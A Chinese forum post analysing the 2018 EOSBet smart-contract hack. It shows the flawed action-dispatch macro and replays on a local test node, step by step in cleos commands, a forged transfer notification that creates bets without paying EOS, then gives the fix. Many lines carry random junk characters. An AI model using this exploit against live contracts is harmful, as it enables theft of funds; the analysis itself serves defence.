Hi 游客

更多精彩,请登录!

比特池塘 区块链技术 正文
本文所有过程均在本地测试节点完成% O! L7 i7 B% e7 G7 w7 k, [  Z* o
文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis
6 P5 j) E& N  A% C5 u0x00 背景
  k: @( p  G' i" n  }3 EEOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。. N; z6 ~  `% T/ v% D- ~$ `  v8 l

6 F% D1 W$ d' k% r/ e( o0x01 技术分析: ~4 G7 `6 @$ a' i# m0 h
由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
' j- e. x6 S$ Y  H' o' j// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers  Y# d0 Z- o: k. o# `  U
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
7 f* n  Q! [5 o0 W3 `extern "C" { \. o8 n. v- s& z% `4 d0 V0 v
        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \/ O: [; F$ J1 K8 M
                auto self = receiver; \" u" u$ H1 ^- P% V+ R
                if( action == N(onerror)) { \
# V3 d5 n8 P: x( ?5 L* y                        /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \. r3 k. [! r6 I4 ~
                        eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \# o3 [* \  T9 I( t
                } \0 [5 r( q* ?8 D( g$ C
                if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
9 r" Z2 e0 p8 T% p                        TYPE thiscontract( self ); \
5 K' i$ n" Z# M$ V8 M: F( @' T8 S                        switch( action ) { \8 \0 B% f! p, x6 }
                                EOSIO_API( TYPE, MEMBERS ) \
& L' B2 H# [3 ~' @1 y$ D& z3 ]! j                        } \
' @6 O/ B7 A- o9 h                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \8 D7 [, H* x" M  c2 N. @, |
                } \& G9 d0 l( M5 w; J0 D8 f4 n, y+ w
        } \
1 a( x: y- Y4 ?4 f( B}* B2 E5 G7 j- }8 P/ s
通过官方给出的EOSIO_ABI,问题主要出在以下代码
& }6 }. `3 K# w, W- r# u- Yif( code == self || code == N(eosio.token) || action == N(onerror) ) { \
5 ~5 o8 V. {+ G                        TYPE thiscontract( self ); \
# S" W' S) \- f" s* y                        switch( action ) { \
+ v; A( k8 j; F: E/ q                                EOSIO_API( TYPE, MEMBERS ) \# w5 P- y1 L$ X
                        } \3 `4 _! x* K8 i- k; P2 G
                }- {) G2 E' r: D; |# M, t
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。
: n6 T* }. a. k" a( G( B( d0 ?" c但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。0 T5 z; Q  G0 F% W$ Z
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。
; p7 w0 o4 h5 Y6 ?' Y$ j4 u6 n- E0x02 攻击复盘
0 ]. H1 \* _; S2 n3 H1 f9 [2 A创建eosio.token账户6 C" ?/ ^+ K' ?$ c$ C, {
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
! P7 @% V  |& V1 p- H, x$ _$ X) [3 N部署eosio.token合约并初始化
& o; v; s- t3 c( d2 S# 部署合约
7 u! [$ H! V7 ]5 r0 p# O9 N( ?cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio
$ g/ ]+ c; F) D# Z8 h# 初始化合约. c: o' ~  H' T2 J' s$ r% G  U
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token* u! v- k  M& t, C0 |1 W- w2 A# f) H
创建游戏账户、开奖账户和攻击者账户
1 u+ X. ?# X2 t0 a* ^. X& P- m0 ?#创建游戏账户和开奖账户+ X8 h* h8 i# m: C8 n& ]$ ?
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk& Z5 i- M  \* H8 ?# d
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk! u& n8 D- r* n
#创建攻击者账户
$ c. o1 \; X7 P3 P5 `4 Ucleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk8 t% E- R1 B/ z: n2 ]
设置账户随机权限和开奖权限6 h4 b, k! M" p+ Z1 r& `
#设置权限. ^# h- }" [2 W& j
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner+ @) j3 V( t! Z3 f  R6 p, J8 q0 ?) h' G
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner. |; z0 M, C. k6 ?0 f) D" }8 d, W
#设置开奖权限2 Q- w2 ^4 R$ |4 \2 ?1 L( h7 D: G5 A
cleos set action permission eosbetcasino eosbetdice11 resolvebet random. I6 H# @! `6 d
向相关账户冲入代币
- I& Y/ }0 P) ?: ?/ p1 K  Q#往相关账户充值
" I6 E; ^' n4 b; e0 f, V9 k9 ]cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active
4 P( R! ]; z2 @2 r3 G  R/ |4 kcleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active7 c" p4 K( I4 C7 _! H
![4.png]()
) t/ z) u4 r3 c4 N" ?9 h' _* _部署游戏合约并初始化
# w9 S, @6 X7 w- q$ d/ E, R  {#部署游戏合约) R' f* H5 @+ ?3 t) K0 T
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice
' |$ b' ~! T4 `3 b# o. S& h; N#初始化游戏合约
- X4 A7 U* c4 O4 K7 O6 A; \cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino
& V* l$ N2 {% N" M8 @. b# r模拟黑客攻击(伪造转账通知)# v8 W6 C  T% U: {
cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker. w$ v% x" e5 c- |* `  S8 R
查询游戏订单
! C! ?$ z0 t. j  e2 M. |cleos get table eosbetdice11 eosbetdice11 activebets* j3 L$ z2 _4 R. E" {

# [4 p; {: E1 H" u; b  A. z/ T5 B3 i可见,游戏订单已经生成,查询attacker和eosbetdice11账户$ b0 a/ U1 a: n" I6 I: O6 C% Z
5 u  c" ]2 |7 L& i' R+ f& F4 A
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
; o, _  G; `/ Z8 n最后对该订单进行开奖。
" g; W1 y/ I( \cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random# K3 F. x/ a1 o& \/ F" X0 Z3 s* O) ?4 B

7 F% k, y2 D6 U7 o总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。" z; Z( t9 B% D; V
0x03 后记9 C  u( c$ P! x0 U9 @6 P/ ~3 Y' Q
EOSBet随后将修复方案公开( u6 E/ _8 Z! q6 Z9 O, e) s# {
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers) |, H! x, V; S- H7 s3 {
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \4 J* {: r/ ?) h2 E, {4 g; ?/ J
extern "C" { \
" G( @; r3 S! {/ x: o1 q        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
: P: {9 r; D1 P" \                auto self = receiver; \: q1 Y$ z* b3 I. g& P, v3 @9 S
                if( code == self || code == N(eosio.token)) { \
! N' j- k0 i) I9 H+ a                        if( action == N(transfer)){ \
0 `; n3 ?8 A/ J. j" d                                // 必须是eosio.token来调用合约自身的transfer函数3 r7 V8 \: Q1 ^' j8 \* `  w9 d/ [
                                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \8 v& L' h2 Y& g; X( R+ C3 i+ k" ]
                        } \
& W9 i! z; f/ a, J8 z2 l                        TYPE thiscontract( self ); \6 P3 S7 h  _8 Q6 }
                        switch( action ) { \( n% i* O2 x. N4 P# o
                                EOSIO_API( TYPE, MEMBERS ) \
3 R' C" _8 ?" C+ I. N                        } \
, M0 M2 V6 P& u* g% U9 g* m                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \' v, g* n: a; O& P! m) h
                } \% j; y' S7 I; S7 L! o
        } \
5 l# c0 g) \! s: ~! q" W! n* W  L, a}
7 a1 u7 j( d+ h/ r: b可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D
7 |; j# z6 ~! E" t0x04 修复方案
! m* _. w) _2 o( c+ n零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:1 I; q8 q  I  t; q5 V" m

2 X& ?" ?! a3 M+ [3 O通知是否来自eosio.token,即只处理eosio.token发送的通知6 j3 P# d; `0 z) c9 b3 `1 K/ |
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");6 Z( {( b2 n7 P4 ~2 K  n0 h

2 G  z$ E. a) g( p转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知% r' O# l# ?- m2 z0 w5 J7 P& C
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
BitMere.com 比特池塘系信息发布平台,比特池塘仅提供信息存储空间服务。
声明:该文观点仅代表作者本人,本文不代表比特池塘立场,且不构成建议,请谨慎对待。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

成为第一个吐槽的人

蓝天天使2017 初中生
  • 粉丝

    0

  • 关注

    0

  • 主题

    10